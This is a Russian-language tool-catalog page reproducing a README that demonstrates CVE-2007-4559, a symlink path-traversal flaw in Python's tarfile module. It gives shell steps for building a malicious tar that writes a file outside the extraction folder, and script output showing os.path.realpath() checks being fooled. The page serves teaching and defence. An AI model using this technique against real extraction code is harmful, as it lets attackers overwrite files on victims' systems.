Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2007-4559 — Образовательная демонстрация CVE-2007-4559 атаки через симлинк в Python tarfile со скриптом, показывающим, почему os.path.realpath() не предотвращает извлечение за пределы целевых каталогов. | Kitploit
Инструменты/GitHubGitHub/davidholiday/cve-2007-4559
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияБезопасность Цепочки ПоставокОбучение и Образование
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Образовательная демонстрация CVE-2007-4559 атаки через симлинк в Python tarfile со скриптом, показывающим, почему os.path.realpath() не предотвращает извлечение за пределы целевых каталогов.

Репозиторий
1272 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

демонстрация CVE-2007-4559

что это?

Это демонстрация того, как стандартная обработка извлечения tar-файлов в Python до версии 3.11.4 уязвима для простой атаки с использованием симлинков. Инструкции ниже описывают, как создать вредоносный payload. Скрипт untar.py демонстрирует, как и почему работают функции, добавленные в 3.11.4, — а именно необходимость вызова чего-то вроде os.path.realpath() перед каждой записью для каждого файла. Скрипт использует точно такой же метод проверки, как и функция extraction filter, включённая в Python >= 3.11.4, ЗА ИСКЛЮЧЕНИЕМ того, что он не записывает файлы на диск. Таким образом, он показывает, что os.path.realpath() не способен правильно разрешать симлинки, что позволяет записывать члены tar-архива за пределами целевого расположения в файловой системе.

что здесь?

  • инструкции (этот файл) по настройке песочницы и созданию вредоносного tar-файла.
  • скрипт на Python untar.py, который демонстрирует «почему» за недавней реализацией улучшенной проверки tar-файлов в библиотеке tarfile Python. Из-за того, как работает os.path.realpath(), нельзя полагаться на него для разрешения симлинков, если эти ссылки ещё не существуют в файловой системе. Это означает, что нельзя полагаться только на os.path.realpath() для проверки путей членов tar-файла перед извлечением архива. Вместо этого необходимо вызывать os.path.realpath() перед каждой записью для каждого члена архива, чтобы обеспечить обнаружение вредоносной активности симлинков. Подробнее см. PEP-706 и документацию tarfile.
  • создание окружения и вредоносного tar-файла

    1. создайте тестовое окружение
    root@kitploit:~
    snerd@jess:~$ mkdir -p lab/{lib,target}
    
    1. добавьте папку ./lib в tar-архив
    root@kitploit:~
    snerd@jess:~$ cd lab
    snerd@jess:~/lab$ tar -cvPf terry.tar lib
    
    1. замените папку ./lib симлинком с тем же именем на "."
    root@kitploit:~
    snerd@jess:~/lab$ rm -rf lib
    snerd@jess:~/lab$ ln -s . lib
    
    1. добавьте симлинк "lib" в архив
    root@kitploit:~
    snerd@jess:~/lab$ tar -rvPf terry.tar lib
    
    1. замените симлинк "lib" папкой и файлом
    root@kitploit:~
    snerd@jess:~/lab$ rm lib
    snerd@jess:~/lab$ mkdir -p lib/lib
    snerd@jess:~/lab$ touch lib/dangerous_file
    
    1. добавьте файл в архив, используя относительный путь
    root@kitploit:~
    snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
    
    1. скопируйте tar-файл в целевую папку
    root@kitploit:~
    snerd@jess:~/lab$ cp terry.tar target/
    snerd@jess:~/lab$ cd target/
    
    1. распакуйте tar-файл. "dangerous_file" был распакован за пределами целевой папки
    root@kitploit:~
    snerd@jess:~/lab/target$ tar -xPvf terry.tar 
    lib/
    lib
    lib/lib/../dangerous_file
    snerd@jess:~/lab/target$ ls
    lib  terry.tar
    snerd@jess:~/lab/target$ ls ../
    dangerous_file  lib  target  terry.tar
    

    использование скрипта Python

    1. скачайте untar.py из этого репозитория и поместите его в папку ./lab

    2. запустите скрипт. обратите внимание, как легко обмануть os.path.realpath(), когда вредоносный симлинк ещё не записан в целевую файловую систему.

    root@kitploit:~
    snerd@jess:~/lab$ python3 untar.py 
    member name is: lib
    dest_path is: /home/snerd/lab/target
    target_path is: /home/snerd/lab/target/lib
    is_tarslip? False
    -*-*-*-*-
    member name is: lib
    dest_path is: /home/snerd/lab/target
    target_path is: /home/snerd/lab/target/lib
    is_tarslip? False
    -*-*-*-*-
    member name is: lib/lib/../dangerous_file
    dest_path is: /home/snerd/lab/target
    target_path is: /home/snerd/lab/target/lib/dangerous_file
    is_tarslip? False
    -*-*-*-*-
    

    дополнительное чтение

    • [Python-Dev] уязвимость tarfile и обхода каталогов

    • Предупреждение: 15-летняя уязвимость Python tarfile скрывается в более чем 350 000 проектов

    • Пост на SO о безопасном извлечении tar-архивов до новых функций Python 3.11.4

    • тикет Python 21109

    • Заявление 2022 года от давнего [вышедшего на пенсию в 2019] мейнтейнера библиотеки tarlib

    • реализация новой функции фильтрации извлечения, введённой в Python 3.11.4

    Скачать инструмент